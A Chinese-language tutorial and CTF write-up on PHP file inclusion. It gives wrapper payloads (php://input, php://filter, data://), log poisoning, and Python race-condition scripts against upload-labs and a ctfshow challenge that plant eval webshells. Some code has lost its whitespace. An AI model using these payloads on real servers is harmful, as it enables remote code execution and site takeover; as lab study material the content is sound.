概念
是指将已有的代码以文件形式包含到某个指定的代码中,从而使用其中的代码或者数据,一般是为了方便直接调用所需文件,文件包含的存在使得开发变得更加灵活和方便。
文件包含常见函数
include()// 执行到include时才包含文件,找不到文件产生警告,脚本继续执行require()// 程序运行就包含文件,找不到文件产生错误,脚本停止include_once()require_once()// 和前面注解一样,_once()后缀表明只会包含一次,已包含则不会再包含
漏洞成因
文件包含漏洞原因主要有两点:
1.函数中的参数可控。
2.文件包含时,无论文件是何类型,他都会将该文件当作php文件来解析,无法解析时会回显其文件的内容
本地尝试1(include)
代码
1.php
<?phphighlight_file(__file__);$filename=$_GET['file'];include$filename;?>
然后写一个被包含的文件。
然后get传入shell.php,发现成功被解析。
然后修改一下shell.php为shell.png,并改变其内容
<?php system('dir');
成功解析,说明include可以绕过后缀名直接解析文件中的php代码。
然后来尝试一下伪协议:
首先是php伪协议:
php://input:
payload:
GET: file=php://inputPOST:<?php file_put_contents('./feng.php','<?php eval($_POST[1]);?>')?>
写入木马文件feng.php
file://
需要直接路径
php://filter
payload:
file=php://filter/resource=文件名
base64输出文件内容;
payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php
data协议
payload:
?file=data://text/plain,<?php%20system(%27dir%27);
base64传入命令:
payload:
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz
本地尝试2(require)
代码:
<?phprequire('shell.png');echo$flag;?>
成功得到了shell.png中的$flag的值,所以require的一个作用就是在一个文件里去包含另一个文件,然后可以用另一个文件里的参数和方法。
还有几种常见的类型,日志文件包含、条件竞争、脏文件绕过、phar://伪协议+反序列化等等。
条件竞争类型
条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的。开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果,简而言之就是并没有考虑线程同步。因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。
用upload-labs来演示。
Pass-18:
源码:
?php
include'../config.php';include'../head.php';include'../menu.php';$is_upload=false;$msg=null;if(isset($_POST['submit'])){$ext_arr=array('jpg','png','gif');$file_name=$_FILES['upload_file']['name'];$temp_file=$_FILES['upload_file']['tmp_name'];$file_ext=substr($file_name,strrpos($file_name,".")+1);$upload_file=UPLOAD_PATH.'/'.$file_name;if(move_uploaded_file($temp_file,$upload_file)){if(in_array($file_ext,$ext_arr)){$img_path=UPLOAD_PATH.'/'.rand(10,99).date("YmdHis").".".$file_ext;rename($upload_file,$img_path);$is_upload=true;}else{$msg="只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg='上传出错!';}}?>
思路:文件是先传到服务器上,然后再去判断是否符合要求,当我们一直上传并访问该文件时,会出现文件还没来得及删除就被我们访问到,然后我们写一个写入木马文件的木马,最后会在服务器上留下一个访问时被上传上去的木马,这个木马并不会被删除,就达到了getshell的目的。
脚本:
import requests
import threading
defwrite():
url ='http://www.upload.com:83/upload/Pass-18/index.php?action=show_code'
files ={'upload_file':('shell2.php',"<?php fputs(fopen('feng.php','w'),'<?php phpinfo();?>');?>")}
data ={'submit':'上传'}whileTrue:
r = requests.post(url=url, data=data, files=files)defread():whileTrue:
re = requests.get('http://www.upload.com:83/upload/upload/shell2.php')if re.status_code ==200:print('上传成功')if __name__ =='__main__':
evnet = threading.Event()with requests.session()as session:for i inrange(20):
threading.Thread(target=write).start()for i inrange(20):
threading.Thread(target=read).start()
evnet.set()
运行脚本,发现上传成功:
Pass-19:
源码:
<?phpinclude'../config.php';include'../head.php';include'../menu.php';$is_upload=false;$msg=null;if(isset($_POST['submit'])){require_once("./myupload.php");$imgFileName=time();$u=newMyUpload($_FILES['upload_file']['name'],$_FILES['upload_file']['tmp_name'],$_FILES['upload_file']['size'],$imgFileName);$status_code=$u->upload(UPLOAD_PATH);switch($status_code){case1:$is_upload=true;$img_path=$u->cls_upload_dir.$u->cls_file_rename_to;break;case2:$msg='文件已经被上传,但没有重命名。';break;case-1:$msg='这个文件不能上传到服务器的临时文件存储目录。';break;case-2:$msg='上传失败,上传目录不可写。';break;case-3:$msg='上传失败,无法上传该类型文件。';break;case-4:$msg='上传失败,上传的文件过大。';break;case-5:$msg='上传失败,服务器已经存在相同名称文件。';break;case-6:$msg='文件无法上传,文件不能复制到目标目录。';break;default:$msg='未知错误!';break;}}?>
还是条件竞争,不过需要修改一下路径和上传文件的名称。
脚本如下:
import requests
import threading
defwrite():
url ='http://www.sql.coom:83/upload/Pass-19/index.php?action=show_code'
files ={'upload_file':('shell2.png',"<?php fputs(fopen('./feng3.php','w'),'<?php @eval($_POST[1])?>');?>")}
data ={'submit':'上传'}whileTrue:
r = requests.post(url=url, data=data, files=files)defread():whileTrue:
re = requests.get('http://www.sql.coom:83/upload/include.php?file=upload/shell2.png')if re.status_code ==200:print('上传成功')if __name__ =='__main__':
evnet = threading.Event()with requests.session()as session:for i inrange(20):
threading.Thread(target=write).start()for i inrange(20):
threading.Thread(target=read).start()
evnet.set()
条件竞争思路几乎都差不多,还有的是session条件竞争,需要开启session.start,不多说了。
日志文件包含+简单绕过
以ctfshow例题为例:
源码:
<?phpif(isset($_GET['file'])){$file=$_GET['file'];$file=str_replace("php","???",$file);$file=str_replace("data","???",$file);$file=str_replace(":","???",$file);include($file);}else{highlight_file(__FILE__);}
源码很简单,过滤了php和data协议,然后还过滤了:
利用日志文件包含,首先看一下服务器类型。
发现时Nginx1.18.0版本,在网上找到了日志问价路径,然后改一下UA头,bp打一下。
需要访问两次,第一次写入修改的UA头,第二次才能成功包含。
有时会有放火墙过滤,这时可以用脏数据绕过。
以[鹏城杯 2022]简单包含为例:
源码很简单,但当我们正常包含时,会发现。
想办法绕过waf,试了很多种方法,最后脏数据成功绕过。
传入一大串垃圾数据,让其waf崩溃,从而可以达到文件包含目的。
例题
ctfshow web入门-85
先看题目给出的代码:
<?phpdefine('还要秀?',dirname(__FILE__));set_include_path(还要秀?);if(isset($_GET['file'])){$file=$_GET['file'];$file=str_replace("php","???",$file);$file=str_replace("data","???",$file);$file=str_replace(":","???",$file);$file=str_replace(".","???",$file);include($file);}else{highlight_file(__FILE__);}
发现是include问题,并且过滤了:和.,利用session条件竞争来解题。
import requests
import io
import threading
url ="http://532ebcbc-0b51-4afc-a511-711d3c73a1e6.challenge.ctf.show/"
data ={"1":"file_put_contents('/var/www/html/feng.php','<?php @eval($_POST[1]);?>');"}
sessionid ="feng"defwrite(session):
fileBytes = io.BytesIO(b'a'*1024*20)whileTrue:
response = session.post(url,
data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'},
cookies={'PHPSESSID': sessionid},
files={"file":('feng.jpg',fileBytes)})defread(session):whileTrue:
response = session.post(url +'?file=/tmp/sess_'+ sessionid, data=data)
response2 = session.get(url +'feng.php');if response2.status_code ==200:print('Success upload')else:print(response2.status_code)if __name__ =='__main__':# 开启多线程进行竞争
evnet = threading.Event()with requests.session()as session:for i inrange(20):
threading.Thread(target=write, args=(session,)).start()for i inrange(20):
threading.Thread(target=read, args=(session,)).start()
evnet.set()
参考:【文件包含&条件竞争】详解如何利用session.upload_progress文件包含进行… - FreeBuf网络安全行业门户
版权归原作者 f0njl 所有, 如有侵权,请联系我们删除。